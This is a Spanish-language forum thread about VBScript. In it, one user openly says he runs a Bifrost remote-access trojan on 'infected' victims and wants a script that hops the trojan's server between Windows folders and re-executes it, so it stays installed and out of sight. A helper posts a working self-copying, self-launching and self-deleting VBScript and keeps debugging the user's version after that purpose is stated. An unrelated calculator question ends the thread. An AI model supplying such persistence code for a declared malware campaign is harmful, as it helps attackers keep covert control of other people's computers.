Autor
|
Tema: Copiar el script en varias carpetas [vbscript] (Leído 11,656 veces)
|
kdemia
Desconectado
Mensajes: 12
|
ya te mando un mp y un mail, no qiero parecer pesado, primero que nada te felicito por el tuto mui bueno, una pregunta como hago para que un vbs se copie asi mismo durante varias carpetas por ejemplo set x = createobject("scripting.filesystemobject") x.movefile ("prueba.vbs"), ("C:\") x.movefile ("C:\prueba.vbs"), ("D:\")
algo asi pero mas largo, el tema es que cuando lo ejecuto me salta un error como que el archivo ya existe, i no me deja, la pregunta es hay alguna manera q el vbs este en movimiento continuo o por lo menos de q se mueva dos veces aunq sea.. desde ya muchas gracias
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Buenas ... Te he separado el tema para poder responder mejor las preguntas que tengas Como es eso de que quieres mover el script opr varias carpetas? Tu script no lo vas a poder mover, ... porque se encuentra en uso .. como cuando tenemos un archivo de word por ejemplo y no lo puedes cambiar de directorio por estar en uso, .. si podrás copiarlo .. pero no moverlo Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
kdemia
Desconectado
Mensajes: 12
|
claro esa era mi idea inicial, ir copiandolo ejecutandolo i borrando el anterior, pero como vi elcomando mover me fue mas util yo lo pense eso de estar en uso, pero si se puede auto eliminar por ahi se podia mover, pero bueno, osea mover una ves se puede lo q no se puede es mover mas de una ves, ejemplo set x = createobject("scripting.filesystemobject") x.movefile ("file.vbs"), ("C:\") eso se puede lo q no se puede es cuando le agrego otro comando de mover osea q mueva el q movi, valga la redundancia, ahi me tira un error, es medio raro, pero bue.. en el caso q se pueda ir moviendo i borrando, el algoritmo tendria algun objeto que ignore? ya que esta te cuento porque quiero crear esto.. tenog un server de bifrost semi FUD, solo lo detectan el bitdefender, el karspersky i otro mas..que por un mal funcionamiento de estos av con el virtual pc, no me los detectan como virus, bueno .. a la mayoria de mis infectados, no abri por un dia el bifrost i me desaparecieron la mayoria de mis infectados, no tengo idea poruqe, asi que lo que qiero hacer es a mis infectados hacerles un vbs que vaya por todas las carpetas de windows, llevando consigo el server, y a su ves ir ejecutandolo, para asegurarme que siempre este instalado, a muchos se les abra ocurrido meter el servidor en la carpeta inicio, es lo que hice por el momento, pero es demasiado visible, asi que bueno si alguien sabe porq ocurrio esto del bifrost por favor conteste, y con respecot al vbs, es lo que mas me gusta me olvide de decirles, muchos diran,- se actualizo la base de virus de el av de tus infectados- bueno es lo q pense desde el principio, pero recuerdo que muchos tenian el av con el id i pass vencidos asi q imposible de q haya ocurrido eso.. y novirusthanx me sigue diciendo lo mismo de la indetectabilidad, aparte tengo otro infectado que tiene el mismo av q los que desaparecieron pero a este si se le actualiza.. mas resumidamente seria la consulta : como hago para hacer q un vbs se vaya moviendo, copiando o lo que sea por al menos 3 carpetas... i otra consulta seria : un vbs puede crear i ejecutar otro vbs? i la consulta colgada : si alguien sabe porq me ocurrio esto con el bifrost bueno muchas gracias a los que responden, i a los que no tambien por leer e interesarce
|
|
« Última modificación: 4 Septiembre 2009, 23:18 pm por kdemia »
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Lo que te ocurre es que el primer movefile te sirve, para a la segunda ya no encuentra la referencia porque lo busca en el lugar de origen Por esto es mejor utilizar copyfile para copiar en lugar de mover, mira el siguiente script como ejemplo set objfso = createobject("scripting.filesystemobject") set objshell = createobject("wscript.shell") wscript.sleep 5000 OScript = wscript.scriptfullname ONameScript = wscript.scriptname DirEjUno = "D:\" DirEjDos = "C:\" If oScript = DirEjDos & ONameScript then objfso.copyfile oscript, DirEjUno & ONameScript wscript.sleep 2000 objshell.run DirEjUno & ONameScript Else objfso.copyfile oscript, DirEjDos & ONameScript wscript.sleep 2000 objshell.run DirEjDos & ONameScript End if Wscript.sleep 1000 objfso.deletefile OScript
Ponlo en el C: o D: y fijate como alterna entre uno y otro a intervalos de 5 segundos , ten en cuenta que este script se podría mejorar MUCHISIMO, pero lo he hecho rapidamente para que simplemente entiendas el concepto, además de que con el copy, queda respondido lo de si un vbs puede crear otro Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
kdemia
Desconectado
Mensajes: 12
|
mira hago el siguiente programa que es mui parecido al tuyo solamente que lleva consigo un texto pero ya cuando lo va a mover por segunda ves me tira un error "file not found" a ver si me podrias nuevamente ayudar o alguien.. programa: set copiar = createobject("scripting.filesystemobject") set arrancar = createobject("wscript.shell") nombrecompleto = wscript.scriptfullname nombre = wscript.scriptname c = "C:\" d = "D:\" texto = "texto.txt" if nombrecompleto = c & nombre then copiar.copyfile nombre, d & nombre wscript.sleep 2000 copiar.copyfile texto, d & texto wscript.sleep 2000 arrancar.run d & nombre else copiar.copyfile nombre, c & nombre wscript.sleep 2000 copiar.copyfile texto, c & texto wscript.sleep 2000 arrancar.run c & nombre end if copiar.deletefile texto copiar.deletefile nombre
|
|
|
En línea
|
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Nah! eso no es un entorno, es un bloc de notas al que le han agregado un par de botones. Prueba Vbsedit ... Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
kdemia
Desconectado
Mensajes: 12
|
a mui bueno jejej, ahora lo voi a probar la verdad nose como agradecerte todo el impetu que pones en ayudar
|
|
|
En línea
|
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Como te había dicho, he estado revisando tu script y aparentemente no tiene errores, salvo que al principio del script debes de poner una pausa, como lo había hecho en el mío, ya que de este modo cuando nuestro script ejecuta a su copia, la copia le da tiempo de terminar antes de comenzar, sino "chocan". De cualquier manera no funciona como debe y no veo el problema , igual lo voy a seguir mirando
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
kdemia
Desconectado
Mensajes: 12
|
bueno muchas gracias, ahora voi a intentar al txt moverlo en vez de copiarlo, por otro lado hice una "calculadora" i si pongo, ejemplo 1 + 1 me da 11 en vez de 2, en cambio si pongo 4 / 2 me da 2 o si resto 2 - 1 me da 1 y cuando quiero hacer una multiplicacion, no entra, aca les dejo el programa asi ven a lo que me refiero
Sub calcular (num1, operador, num2) If operador = "+" or operador = "-" or opeardor = "*" or operador = "/" then select case operador case "+" msgbox num1 + num2, 64, "Resulado" case "-" msgbox num1 - num2, 64, "Resulado" case "*" msgbox num1 * num2, 64, "Resulado" case "/" msgbox num1 / num2, 64, "Resulado" end select else msgbox operador & " no es un operador", 16, "Error" end If End sub Set shell = CreateObject("wscript.shell") res = shell.Popup("Listo?", 60, "Pregunta", 36) While res = 6 num1 = InputBox("Escriba el primer numero","Numero 1") operador = InputBox("Escriba el operador","operador") num2 = InputBox("Escriba el segundo numero","Numero 2") Call calcular (num1, operador, num2) res = shell.Popup("Queres hacer otra cuenta?", 60, "Pregunta", 36) wend
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Script copiar carpetas y cambiar de nombre
Scripting
|
espantaburros
|
0
|
2,266
|
22 Junio 2014, 21:13 pm
por espantaburros
|
|
|
Copiar desde USB a PC con vbscript
Scripting
|
Instalador
|
0
|
2,393
|
29 Agosto 2015, 02:13 am
por Instalador
|
|
|
Copiar un archivo a varias carpetas
Scripting
|
Paco Prieto
|
0
|
2,321
|
18 Febrero 2019, 21:11 pm
por Paco Prieto
|
|
|
Crear Varias carpetas y Sub-Carpetas
Scripting
|
P3NDULO
|
1
|
5,761
|
23 Agosto 2019, 04:05 am
por @XSStringManolo
|
|
|
no puedo acceder a varias carpetas del pc
« 1 2 3 4 »
Windows
|
Novedades
|
37
|
4,212
|
17 Noviembre 2024, 23:39 pm
por Novedades
|
|